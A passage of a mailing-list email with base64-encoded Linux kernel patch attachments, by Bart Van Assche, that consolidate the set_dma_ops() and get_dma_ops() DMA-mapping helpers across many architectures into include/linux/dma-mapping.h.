ZDA1NjRkNi4uYzc0MzJkNjQ3ZTUzIDEwMDY0NAotLS0gYS9hcmNoL2FybS9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oCisrKyBiL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAg
LTMxLDEyICszMSw2IEBAIHN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpn
ZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCiAJCXJldHVybiBfX2dlbmVyaWNfZG1hX29w
cyhkZXYpOwogfQogCi1zdGF0aWMgaW5saW5lIHZvaWQgc2V0X2RtYV9vcHMoc3RydWN0IGRldmlj
ZSAqZGV2LCBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKm9wcykKLXsKLQlCVUdfT04oIWRldik7
Ci0JZGV2LT5kbWFfb3BzID0gb3BzOwotfQotCiAjZGVmaW5lIEhBVkVfQVJDSF9ETUFfU1VQUE9S
VEVEIDEKIGV4dGVybiBpbnQgZG1hX3N1cHBvcnRlZChzdHJ1Y3QgZGV2aWNlICpkZXYsIHU2NCBt
YXNrKTsKIApkaWZmIC0tZ2l0IGEvYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5n
LmggYi9hcmNoL3Bvd2VycGMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCA1OWZiZDRh
YmNiZjguLjgyNzU2MDNiYTRkNSAxMDA2NDQKLS0tIGEvYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNt
L2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9wb3dlcnBjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5n
LmgKQEAgLTkxLDExICs5MSw2IEBAIHN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBf
b3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCiAJcmV0dXJuIGRldi0+ZG1hX29w
czsKIH0KIAotc3RhdGljIGlubGluZSB2b2lkIHNldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRl
diwgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpvcHMpCi17Ci0JZGV2LT5kbWFfb3BzID0gb3Bz
OwotfQotCiAvKgogICogZ2V0X2RtYV9vZmZzZXQoKQogICoKZGlmZiAtLWdpdCBhL2FyY2gvdGls
ZS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC90aWxlL2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmgKaW5kZXggYzA2MjA2OTdlYWFkLi4yNTYyOTk1YTZhYzkgMTAwNjQ0Ci0tLSBhL2Fy
Y2gvdGlsZS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCisrKyBiL2FyY2gvdGlsZS9pbmNsdWRl
L2FzbS9kbWEtbWFwcGluZy5oCkBAIC01OSwxMSArNTksNiBAQCBzdGF0aWMgaW5saW5lIHBoeXNf
YWRkcl90IGRtYV90b19waHlzKHN0cnVjdCBkZXZpY2UgKmRldiwgZG1hX2FkZHJfdCBkYWRkcikK
IAogc3RhdGljIGlubGluZSB2b2lkIGRtYV9tYXJrX2NsZWFuKHZvaWQgKmFkZHIsIHNpemVfdCBz
aXplKSB7fQogCi1zdGF0aWMgaW5saW5lIHZvaWQgc2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAq
ZGV2LCBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKm9wcykKLXsKLQlkZXYtPmRtYV9vcHMgPSBv
cHM7Ci19Ci0KIHN0YXRpYyBpbmxpbmUgYm9vbCBkbWFfY2FwYWJsZShzdHJ1Y3QgZGV2aWNlICpk
ZXYsIGRtYV9hZGRyX3QgYWRkciwgc2l6ZV90IHNpemUpCiB7CiAJaWYgKCFkZXYtPmRtYV9tYXNr
KQpkaWZmIC0tZ2l0IGEvaW5jbHVkZS9saW51eC9kbWEtbWFwcGluZy5oIGIvaW5jbHVkZS9saW51
eC9kbWEtbWFwcGluZy5oCmluZGV4IGYxZGE2OGI4MmM2My4uZTk3ZjIzZThiMmQ5IDEwMDY0NAot
LS0gYS9pbmNsdWRlL2xpbnV4L2RtYS1tYXBwaW5nLmgKKysrIGIvaW5jbHVkZS9saW51eC9kbWEt
bWFwcGluZy5oCkBAIC0xNjQsNiArMTY0LDExIEBAIGludCBkbWFfbW1hcF9mcm9tX2NvaGVyZW50
KHN0cnVjdCBkZXZpY2UgKmRldiwgc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCiAKICNpZmRl
ZiBDT05GSUdfSEFTX0RNQQogI2luY2x1ZGUgPGFzbS9kbWEtbWFwcGluZy5oPgorc3RhdGljIGlu
bGluZSB2b2lkIHNldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldiwKKwkJCSAgICAgICBjb25z
dCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmRtYV9vcHMpCit7CisJZGV2LT5kbWFfb3BzID0gZG1hX29w
czsKK30KICNlbHNlCiAvKgogICogRGVmaW5lIHRoZSBkbWEgYXBpIHRvIGFsbG93IGNvbXBpbGF0
aW9uIGJ1dCBub3QgbGlua2luZyBvZgotLSAKMi4xMS4wCgo=

--_004_1484173670261928camelsandiskcom_
Content-Type: text/x-patch;
	name="0003-treewide-Consolidate-get_dma_ops-implementations.patch"
Content-Description: 0003-treewide-Consolidate-get_dma_ops-implementations.patch
Content-Disposition: attachment;
	filename="0003-treewide-Consolidate-get_dma_ops-implementations.patch";
	size=19530; creation-date="Wed, 11 Jan 2017 22:28:04 GMT";
	modification-date="Wed, 11 Jan 2017 22:28:04 GMT"
Content-ID: <46C701ABFA59F74C819FD10C9CC53DE2-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Content-Transfer-Encoding: base64

RnJvbSA5OTc4OGU5NzkzN2QzZjcyOTk0N2NkMDJlOTg0NTdkNjQyYjhmMTE1IE1vbiBTZXAgMTcg
MDA6MDA6MDAgMjAwMQpGcm9tOiBCYXJ0IFZhbiBBc3NjaGUgPGJhcnQudmFuYXNzY2hlQHNhbmRp
c2suY29tPgpEYXRlOiBXZWQsIDExIEphbiAyMDE3IDEzOjQ5OjA4IC0wODAwClN1YmplY3Q6IFtQ
QVRDSCAzLzNdIHRyZWV3aWRlOiBDb25zb2xpZGF0ZSBnZXRfZG1hX29wcygpIGltcGxlbWVudGF0
aW9ucwoKSW50cm9kdWNlIGEgbmV3IGFyY2hpdGVjdHVyZS1zcGVjaWZpYyBnZXRfYXJjaF9kbWFf
b3BzKCkgZnVuY3Rpb24uCkFkZCBnZXRfZG1hX29wcygpIGluIDxsaW51eC9kbWEtbWFwcGluZy5o
Pi4KClNpZ25lZC1vZmYtYnk6IEJhcnQgVmFuIEFzc2NoZSA8YmFydC52YW5hc3NjaGVAc2FuZGlz
ay5jb20+Ci0tLQogYXJjaC9hbHBoYS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgfCAy
ICstCiBhcmNoL2FyYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgICB8IDIgKy0KIGFy
Y2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAgIHwgNCArKy0tCiBhcmNoL2Fy
bTY0L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICB8IDQgKystLQogYXJjaC9hdnIzMi9p
bmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgfCAyICstCiBhcmNoL2JsYWNrZmluL2luY2x1
ZGUvYXNtL2RtYS1tYXBwaW5nLmggICB8IDIgKy0KIGFyY2gvYzZ4L2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmggICAgICAgIHwgMiArLQogYXJjaC9jcmlzL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5n
LmggICAgICAgfCA0ICsrLS0KIGFyY2gvZnJ2L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAg
ICAgIHwgMiArLQogYXJjaC9oODMwMC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgfCAy
ICstCiBhcmNoL2hleGFnb24vaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICB8IDUgKy0tLS0K
IGFyY2gvaWE2NC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgIHwgNSArKysrLQogYXJj
aC9tMzJyL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAgfCA0ICstLS0KIGFyY2gvbTY4
ay9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgIHwgMiArLQogYXJjaC9tZXRhZy9pbmNs
dWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgfCAyICstCiBhcmNoL21pY3JvYmxhemUvaW5jbHVk
ZS9hc20vZG1hLW1hcHBpbmcuaCB8IDIgKy0KIGFyY2gvbWlwcy9pbmNsdWRlL2FzbS9kbWEtbWFw
cGluZy5oICAgICAgIHwgNyArKy0tLS0tCiBhcmNoL21uMTAzMDAvaW5jbHVkZS9hc20vZG1hLW1h
cHBpbmcuaCAgICB8IDIgKy0KIGFyY2gvbmlvczIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAg
ICAgIHwgMiArLQogYXJjaC9vcGVucmlzYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgfCAy
ICstCiBhcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICB8IDIgKy0KIGFy
Y2gvcG93ZXJwYy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgIHwgNyArKy0tLS0tCiBhcmNo
L3Bvd2VycGMvaW5jbHVkZS9hc20vcHMzLmggICAgICAgICAgICB8IDIgKy0KIGFyY2gvczM5MC9p
bmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgIHwgNCArLS0tCiBhcmNoL3NoL2luY2x1ZGUv
YXNtL2RtYS1tYXBwaW5nLmggICAgICAgICB8IDIgKy0KIGFyY2gvc3BhcmMvaW5jbHVkZS9hc20v
ZG1hLW1hcHBpbmcuaCAgICAgIHwgNCArKy0tCiBhcmNoL3RpbGUvaW5jbHVkZS9hc20vZG1hLW1h
cHBpbmcuaCAgICAgICB8IDcgKystLS0tLQogYXJjaC91bmljb3JlMzIvaW5jbHVkZS9hc20vZG1h
LW1hcHBpbmcuaCAgfCAyICstCiBhcmNoL3g4Ni9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAg
ICAgICB8IDkgKy0tLS0tLS0tCiBhcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5o
ICAgICB8IDcgKystLS0tLQogaW5jbHVkZS9saW51eC9kbWEtbWFwcGluZy5oICAgICAgICAgICAg
ICAgfCA3ICsrKysrKysKIDMxIGZpbGVzIGNoYW5nZWQsIDQ4IGluc2VydGlvbnMoKyksIDY0IGRl
bGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2FyY2gvYWxwaGEvaW5jbHVkZS9hc20vZG1hLW1hcHBp
bmcuaCBiL2FyY2gvYWxwaGEvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCBkMzQ4MDU2
MjQxMWQuLjVkNTM2NjY5MzVlNiAxMDA2NDQKLS0tIGEvYXJjaC9hbHBoYS9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oCisrKyBiL2FyY2gvYWxwaGEvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApA
QCAtMyw3ICszLDcgQEAKIAogZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZG1hX29w
czsKIAotc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3Bz
KHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBf
b3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVjdCBidXNfdHlwZSAqYnVzKQogewogCXJldHVybiBk
bWFfb3BzOwogfQpkaWZmIC0tZ2l0IGEvYXJjaC9hcmMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcu
aCBiL2FyY2gvYXJjL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggZmRmZjNhYTYwMDUy
Li45NDI4NTAzMWM0ZmIgMTAwNjQ0Ci0tLSBhL2FyY2gvYXJjL2luY2x1ZGUvYXNtL2RtYS1tYXBw
aW5nLmgKKysrIGIvYXJjaC9hcmMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtMjAsNyAr
MjAsNyBAQAogCiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzIGFyY19kbWFfb3BzOwog
Ci1zdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3Ry
dWN0IGRldmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMg
KmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7CiAJcmV0dXJuICZhcmNf
ZG1hX29wczsKIH0KZGlmZiAtLWdpdCBhL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5n
LmggYi9hcmNoL2FybS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCmluZGV4IGM3NDMyZDY0N2U1
My4uNzE2NjU2OTI1OTc1IDEwMDY0NAotLS0gYS9hcmNoL2FybS9pbmNsdWRlL2FzbS9kbWEtbWFw
cGluZy5oCisrKyBiL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTIzLDEy
ICsyMywxMiBAQCBzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqX19nZW5l
cmljX2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQogCXJldHVybiAmYXJtX2RtYV9vcHM7CiB9
CiAKLXN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhz
dHJ1Y3QgZGV2aWNlICpkZXYpCitzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29w
cyAqZ2V0X2FyY2hfZG1hX29wcyhzdHJ1Y3QgYnVzX3R5cGUgKmJ1cykKIHsKIAlpZiAoeGVuX2lu
aXRpYWxfZG9tYWluKCkpCiAJCXJldHVybiB4ZW5fZG1hX29wczsKIAllbHNlCi0JCXJldHVybiBf
X2dlbmVyaWNfZG1hX29wcyhkZXYpOworCQlyZXR1cm4gX19nZW5lcmljX2RtYV9vcHMoTlVMTCk7
CiB9CiAKICNkZWZpbmUgSEFWRV9BUkNIX0RNQV9TVVBQT1JURUQgMQpkaWZmIC0tZ2l0IGEvYXJj
aC9hcm02NC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIvYXJjaC9hcm02NC9pbmNsdWRlL2Fz
bS9kbWEtbWFwcGluZy5oCmluZGV4IDU4YWUzNmNjM2I2MC4uNTA1NzU2Y2RjNjdhIDEwMDY0NAot
LS0gYS9hcmNoL2FybTY0L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9hcm02
NC9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC0zOSwxMiArMzksMTIgQEAgc3RhdGljIGlu
bGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKl9fZ2VuZXJpY19kbWFfb3BzKHN0cnVjdCBk
ZXZpY2UgKmRldikKIAlyZXR1cm4gJmR1bW15X2RtYV9vcHM7CiB9CiAKLXN0YXRpYyBpbmxpbmUg
Y29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYp
CitzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2FyY2hfZG1hX29w
cyhzdHJ1Y3QgYnVzX3R5cGUgKmJ1cykKIHsKIAlpZiAoeGVuX2luaXRpYWxfZG9tYWluKCkpCiAJ
CXJldHVybiB4ZW5fZG1hX29wczsKIAllbHNlCi0JCXJldHVybiBfX2dlbmVyaWNfZG1hX29wcyhk
ZXYpOworCQlyZXR1cm4gX19nZW5lcmljX2RtYV9vcHMoTlVMTCk7CiB9CiAKIHZvaWQgYXJjaF9z
ZXR1cF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldiwgdTY0IGRtYV9iYXNlLCB1NjQgc2l6ZSwK
ZGlmZiAtLWdpdCBhL2FyY2gvYXZyMzIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gv
YXZyMzIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCBiMmI0M2MwZTA3NzQuLjczODg0
NTFmOTkwNSAxMDA2NDQKLS0tIGEvYXJjaC9hdnIzMi9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5o
CisrKyBiL2FyY2gvYXZyMzIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtNiw3ICs2LDcg
QEAgZXh0ZXJuIHZvaWQgZG1hX2NhY2hlX3N5bmMoc3RydWN0IGRldmljZSAqZGV2LCB2b2lkICp2
YWRkciwgc2l6ZV90IHNpemUsCiAKIGV4dGVybiBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgYXZy
MzJfZG1hX29wczsKIAotc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdl
dF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0
IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVjdCBidXNfdHlwZSAqYnVzKQogewog
CXJldHVybiAmYXZyMzJfZG1hX29wczsKIH0KZGlmZiAtLWdpdCBhL2FyY2gvYmxhY2tmaW4vaW5j
bHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvYmxhY2tmaW4vaW5jbHVkZS9hc20vZG1hLW1h
cHBpbmcuaAppbmRleCAzMjBmYjUwZmJkNDEuLjA0MjU0YWMzNmJlZCAxMDA2NDQKLS0tIGEvYXJj
aC9ibGFja2Zpbi9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCisrKyBiL2FyY2gvYmxhY2tmaW4v
aW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtMzgsNyArMzgsNyBAQCBfZG1hX3N5bmMoZG1h
X2FkZHJfdCBhZGRyLCBzaXplX3Qgc2l6ZSwgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyKQog
CiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzIGJmaW5fZG1hX29wczsKIAotc3RhdGlj
IGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZp
Y2UgKmRldikKK3N0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfYXJj
aF9kbWFfb3BzKHN0cnVjdCBidXNfdHlwZSAqYnVzKQogewogCXJldHVybiAmYmZpbl9kbWFfb3Bz
OwogfQpkaWZmIC0tZ2l0IGEvYXJjaC9jNngvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2Fy
Y2gvYzZ4L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggODgyNThiOWViYzhlLi5hY2E5
Zjc1NWU0ZjggMTAwNjQ0Ci0tLSBhL2FyY2gvYzZ4L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
KysrIGIvYXJjaC9jNngvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtMTksNyArMTksNyBA
QAogCiBleHRlcm4gY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzIGM2eF9kbWFfb3BzOwogCi1zdGF0
aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRl
dmljZSAqZGV2KQorc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9h
cmNoX2RtYV9vcHMoc3RydWN0IGJ1c190eXBlICpidXMpCiB7CiAJcmV0dXJuICZjNnhfZG1hX29w
czsKIH0KZGlmZiAtLWdpdCBhL2FyY2gvY3Jpcy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oIGIv
YXJjaC9jcmlzL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggYWFlNGZiYzBhNjU2Li4y
NTYxNjlkZTM3NDMgMTAwNjQ0Ci0tLSBhL2FyY2gvY3Jpcy9pbmNsdWRlL2FzbS9kbWEtbWFwcGlu
Zy5oCisrKyBiL2FyY2gvY3Jpcy9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCkBAIC00LDEyICs0
LDEyIEBACiAjaWZkZWYgQ09ORklHX1BDSQogZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29w
cyB2MzJfZG1hX29wczsKIAotc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMg
KmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRpYyBpbmxpbmUgY29uc3Qgc3Ry
dWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVjdCBidXNfdHlwZSAqYnVzKQog
ewogCXJldHVybiAmdjMyX2RtYV9vcHM7CiB9CiAjZWxzZQotc3RhdGljIGlubGluZSBjb25zdCBz
dHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRp
YyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVj
dCBidXNfdHlwZSAqYnVzKQogewogCUJVRygpOwogCXJldHVybiBOVUxMOwpkaWZmIC0tZ2l0IGEv
YXJjaC9mcnYvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCBiL2FyY2gvZnJ2L2luY2x1ZGUvYXNt
L2RtYS1tYXBwaW5nLmgKaW5kZXggMTUwY2MwMDU0NGE4Li4zNTQ5MDA5MTc1ODUgMTAwNjQ0Ci0t
LSBhL2FyY2gvZnJ2L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9mcnYvaW5j
bHVkZS9hc20vZG1hLW1hcHBpbmcuaApAQCAtOSw3ICs5LDcgQEAgZXh0ZXJuIHVuc2lnbmVkIGxv
bmcgX19ub25ncHJlbGJzcyBkbWFfY29oZXJlbnRfbWVtX2VuZDsKIAogZXh0ZXJuIGNvbnN0IHN0
cnVjdCBkbWFfbWFwX29wcyBmcnZfZG1hX29wczsKIAotc3RhdGljIGlubGluZSBjb25zdCBzdHJ1
Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKK3N0YXRpYyBp
bmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfYXJjaF9kbWFfb3BzKHN0cnVjdCBi
dXNfdHlwZSAqYnVzKQogewogCXJldHVybiAmZnJ2X2RtYV9vcHM7CiB9CmRpZmYgLS1naXQgYS9h
cmNoL2g4MzAwL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggYi9hcmNoL2g4MzAwL2luY2x1ZGUv
YXNtL2RtYS1tYXBwaW5nLmgKaW5kZXggZjgwNGJjYTRjMTNmLi44NDdjNzU2MmUwNDYgMTAwNjQ0
Ci0tLSBhL2FyY2gvaDgzMDAvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL2g4
MzAwL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTMsNyArMyw3IEBACiAKIGV4dGVybiBj
b25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgaDgzMDBfZG1hX21hcF9vcHM7CiAKLXN0YXRpYyBpbmxp
bmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpk
ZXYpCitzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2FyY2hfZG1h
X29wcyhzdHJ1Y3QgYnVzX3R5cGUgKmJ1cykKIHsKIAlyZXR1cm4gJmg4MzAwX2RtYV9tYXBfb3Bz
OwogfQpkaWZmIC0tZ2l0IGEvYXJjaC9oZXhhZ29uL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgg
Yi9hcmNoL2hleGFnb24vaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCBiODEyZTkxN2Nk
OTUuLmQzYTg3YmQ5YjY4NiAxMDA2NDQKLS0tIGEvYXJjaC9oZXhhZ29uL2luY2x1ZGUvYXNtL2Rt
YS1tYXBwaW5nLmgKKysrIGIvYXJjaC9oZXhhZ29uL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgK
QEAgLTM0LDExICszNCw4IEBAIGV4dGVybiBpbnQgYmFkX2RtYV9hZGRyZXNzOwogCiBleHRlcm4g
Y29uc3Qgc3RydWN0IGRtYV9tYXBfb3BzICpkbWFfb3BzOwogCi1zdGF0aWMgaW5saW5lIGNvbnN0
IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQorc3Rh
dGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNoX2RtYV9vcHMoc3Ry
dWN0IGJ1c190eXBlICpidXMpCiB7Ci0JaWYgKHVubGlrZWx5KGRldiA9PSBOVUxMKSkKLQkJcmV0
dXJuIE5VTEw7Ci0KIAlyZXR1cm4gZG1hX29wczsKIH0KIApkaWZmIC0tZ2l0IGEvYXJjaC9pYTY0
L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggYi9hcmNoL2lhNjQvaW5jbHVkZS9hc20vZG1hLW1h
cHBpbmcuaAppbmRleCAwNWU0NjdkNTZkODYuLjczZWMzYzZmNGNmZSAxMDA2NDQKLS0tIGEvYXJj
aC9pYTY0L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9pYTY0L2luY2x1ZGUv
YXNtL2RtYS1tYXBwaW5nLmgKQEAgLTIzLDcgKzIzLDEwIEBAIGV4dGVybiB2b2lkIG1hY2h2ZWNf
ZG1hX3N5bmNfc2luZ2xlKHN0cnVjdCBkZXZpY2UgKiwgZG1hX2FkZHJfdCwgc2l6ZV90LAogZXh0
ZXJuIHZvaWQgbWFjaHZlY19kbWFfc3luY19zZyhzdHJ1Y3QgZGV2aWNlICosIHN0cnVjdCBzY2F0
dGVybGlzdCAqLCBpbnQsCiAJCQkJZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24pOwogCi0jZGVmaW5l
IGdldF9kbWFfb3BzKGRldikgcGxhdGZvcm1fZG1hX2dldF9vcHMoZGV2KQorc3RhdGljIGlubGlu
ZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9hcmNoX2RtYV9vcHMoc3RydWN0IGJ1c190
eXBlICpidXMpCit7CisJcmV0dXJuIHBsYXRmb3JtX2RtYV9nZXRfb3BzKE5VTEwpOworfQogCiBz
dGF0aWMgaW5saW5lIGJvb2wgZG1hX2NhcGFibGUoc3RydWN0IGRldmljZSAqZGV2LCBkbWFfYWRk
cl90IGFkZHIsIHNpemVfdCBzaXplKQogewpkaWZmIC0tZ2l0IGEvYXJjaC9tMzJyL2luY2x1ZGUv
YXNtL2RtYS1tYXBwaW5nLmggYi9hcmNoL20zMnIvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApp
bmRleCAyN2IxNTk3YWM1NjMuLmMwMWQ5ZjUyZDIyOCAxMDA2NDQKLS0tIGEvYXJjaC9tMzJyL2lu
Y2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC9tMzJyL2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmgKQEAgLTEwLDEwICsxMCw4IEBACiAKICNkZWZpbmUgRE1BX0VSUk9SX0NPREUgKH4o
ZG1hX2FkZHJfdCkweDApCiAKLXN0YXRpYyBpbmxpbmUgY29uc3Qgc3RydWN0IGRtYV9tYXBfb3Bz
ICpnZXRfZG1hX29wcyhzdHJ1Y3QgZGV2aWNlICpkZXYpCitzdGF0aWMgaW5saW5lIGNvbnN0IHN0
cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2FyY2hfZG1hX29wcyhzdHJ1Y3QgYnVzX3R5cGUgKmJ1cykK
